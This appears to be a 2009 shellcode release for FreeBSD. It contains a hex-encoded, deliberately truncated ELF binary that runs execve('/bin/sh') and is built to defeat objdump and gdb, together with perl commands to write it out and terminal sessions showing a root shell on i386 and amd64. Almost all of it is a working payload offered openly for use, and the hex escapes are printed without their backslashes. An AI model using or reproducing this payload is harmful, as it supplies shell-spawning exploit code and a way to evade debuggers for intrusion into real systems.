/*

ELF - FreeBSD Execve /bin/sh - Anti-Debugging - i386/AMD64

c0d3_z3r0 < anderson_underground@hotmail.com ; andersonc0d3@gmail.com >

http://anderson.hacknroll.com
http://blog.hacknroll.com

x7fx45x4cx46x01x01x01x09x00x00x00x00x00x00x00x00
x02x00x03x00x01x00x00x00x74x80x04x08x34x00x00x00
xa8x00x00x00x00x00x00x00x34x00x20x00x02x00x28x00
x05x00x04x00x01x00x00x00x00x00x00x00x00x80x04x08
x00x80x04x08x8bx00x00x00x8bx00x00x00x05x00x00x00
x00x10x00x00x01x00x00x00x8cx00x00x00x8cx90x04x08
x8cx90x04x08x00x00x00x00x00x00x00x00x06x00x00x00
x00x10x00x00x31xc0x50x68x2fx2fx73x68x68x2fx62x69
x6ex89xe3x50x54x53x50xb0x3bxcdx80x44

c0d3labs# uname -p
i386
c0d3labs# perl -e 'print "x7fx45x4cx46x01x01x01x09x00x00x00x00x00x00x00x00x02x00x03x00x01x00x00x00x74x80x04x08x34x00x00x00xa8x00x00x00x00x00x00x00x34x00x20x00x02x00x28x00x05x00x04x00x01x00x00x00x00x00x00x00x00x80x04x08x00x80x04x08x8bx00x00x00x8bx00x00x00x05x00x00x00x00x10x00x00x01x00x00x00x8cx00x00x00x8cx90x04x08x8cx90x04x08x00x00x00x00x00x00x00x00x06x00x00x00x00x10x00x00x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x54x53x50xb0x3bxcdx80x44"' > binary
c0d3labs# ./binary
# exit
c0d3labs# objdump -d binary
objdump: binary: File truncated
c0d3labs# gdb -q binary
"/usr/home/andersonc0d3/elf/binary": not in executable format: File truncated
(gdb) q
c0d3labs# file binary
binary: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), statically linked, stripped
c0d3labs#

c0d3labs64# uname -p
amd64
c0d3labs64# perl -e 'print "x7fx45x4cx46x01x01x01x09x00x00x00x00x00x00x00x00x02x00x03x00x01x00x00x00x74x80x04x08x34x00x00x00xa8x00x00x00x00x00x00x00x34x00x20x00x02x00x28x00x05x00x04x00x01x00x00x00x00x00x00x00x00x80x04x08x00x80x04x08x8bx00x00x00x8bx00x00x00x05x00x00x00x00x10x00x00x01x00x00x00x8cx00x00x00x8cx90x04x08x8cx90x04x08x00x00x00x00x00x00x00x00x06x00x00x00x00x10x00x00x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x54x53x50xb0x3bxcdx80x44"' > binary64
c0d3labs64# ./binary64
# exit
c0d3labs64#

*/

# www.Syue.com [2009-04-13]